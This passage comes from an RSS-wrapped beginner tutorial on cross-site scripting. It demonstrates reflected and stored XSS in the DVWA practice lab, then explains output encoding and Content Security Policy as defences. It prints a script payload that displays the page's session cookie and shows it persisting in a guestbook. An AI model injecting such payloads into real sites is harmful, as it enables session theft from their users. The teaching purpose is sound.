&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time the box shows the session data. If an attacker sent this to their own server instead of printing it on screen, they would have stolen your session.&lt;/p&gt;

&lt;p&gt;Now let's move on to stored, because this is the really dangerous one.&lt;/p&gt;

&lt;p&gt;The "XSS (Stored)" page has a guestbook. You enter a name and a message, and they get saved. We put the cookie payload in the message box.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fys7jl69v6kc4h309amgc.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fys7jl69v6kc4h309amgc.webp" alt="Entering the stored payload" width="799" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We hit save. Here's the difference: the code now lives in the database. We close the page and open it again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffwe7svvb26owtp4hfh16.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffwe7svvb26owtp4hfh16.webp" alt="Stored persistence: the alert ran again" width="800" height="548"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It runs again, and the cookie is on the screen again. Nobody clicked a link, nobody typed anything. It fires automatically for everyone who opens the page. That's exactly the difference between reflected and stored.&lt;/p&gt;

&lt;p&gt;So how does a developer prevent this? The basic rule is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never trust any data that comes from the user.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Apply output encoding before printing anything to the screen. That means turning the &lt;code&gt;&amp;lt;&lt;/code&gt; character into a form like &lt;code&gt;&amp;amp;lt;&lt;/code&gt; that looks the same but doesn't run. The browser then treats it as plain text, not code. In fact, when you set DVWA to "medium" or "high", these filters kick in and the payload stops working.&lt;/p&gt;

&lt;p&gt;There's also a shield called &lt;strong&gt;Content Security Policy (CSP).&lt;/strong&gt; It lets the site say "only run scripts from these sources." Code that gets slipped in runs into that rule.&lt;/p&gt;

&lt;p&gt;XSS is an old flaw, but it's still on the OWASP lists. The reason is simple: every new form and every new comment box is a potential entry point. A single unfiltered field is enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://owasp.org/www-community/attacks/xss/
https://portswigger.net/web-security/cross-site-scripting
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally written in Turkish on &lt;a href="https://eminuzun.com/blog/xss-nedir-temel-anlatim/" rel="noopener noreferrer"&gt;eminuzun.com&lt;/a&gt;. AI was used only for the translation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
